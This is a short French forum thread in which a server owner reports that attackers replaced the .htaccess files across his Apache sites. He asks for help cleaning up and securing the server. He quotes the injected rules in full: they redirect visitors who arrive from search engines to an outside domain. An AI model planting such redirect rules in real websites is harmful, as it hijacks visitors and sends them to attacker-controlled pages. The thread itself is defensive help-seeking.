Discussion :

[thibaut06]

Bonsoir,
je viens de subir une attaque sur mon serveur.

Dans chacun des répertoires contenant mes sites web, des fichiers .htaccess ont été ajouté (et ont remplacés les anciens)
ils contiennent les données suivantes

RewriteEngine on
Options +FollowSymLinks

RewriteCond %{HTTP_REFERER} ^.*(google|live|yahoo|ask|msn|aol|altavista).*$ [NC]
RewriteRule .*$ http://rostoffhost.info/strf/ [L]

Quelqu'un peut il m'aider pour résoudre ce probléme et me renvoyer vers un tutoriel pour sécuriser mon serveur?

Description du serveur:
Systeme: ubuntu
Serveur: apache2
Ispconfig installer sur apache1
Technologie: php5, mysql5

Le firewall ispconfig est activé

Y'a t'il une solution pour eviter ce genre d'attaque (antivirus, anti rootkik)

ps: je viens d'installer pour l'un des sites (joomla 1.013)

ps: comment savoir ce qui a etait modifie et par qui?

Merci d'avance pour votre aide

Cordialement,
Thibaut

[madcorp]

Hello,

je suppose que tu as aussi une dedibox.

Voici un topic sur Ubuntu-fr.org qui en parle :
http://forum.ubuntu-fr.org/viewtopic.php?id=142473&p=3

[thibaut06]

Je te remercie pour l'info
bonne soiree